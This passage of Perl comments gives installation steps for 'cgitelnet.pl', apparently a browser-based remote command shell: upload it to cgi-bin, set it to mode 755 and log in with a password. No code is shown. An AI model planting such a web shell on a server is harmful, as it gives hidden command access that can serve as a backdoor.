Modify the first line "#!/usr/bin/perl" to point to the correct path on # your server. For most servers, you may not need to modify this. # 2. Change the password in the Configuration section below. # 3. If you're running the script under Windows NT, set $WinNT = 1 in the # Configuration Section below. # 4. Upload the script to a directory on your server which has permissions to # execute CGI scripts. This is usually cgi-bin. Make sure that you upload # the script in ASCII mode. # 5. Change the permission (CHMOD) of the script to 755. # 6. Open the script in your web browser. If you uploaded the script in # cgi-bin, this should be http://www.yourserver.com/cgi-bin/cgitelnet.pl # 7. Login using the password that you specified in Step 2. #------------------------------------------------------------------------------ #------------------------------------------------------------------------------ # Configuration: You need to change only $Password and $WinNT.
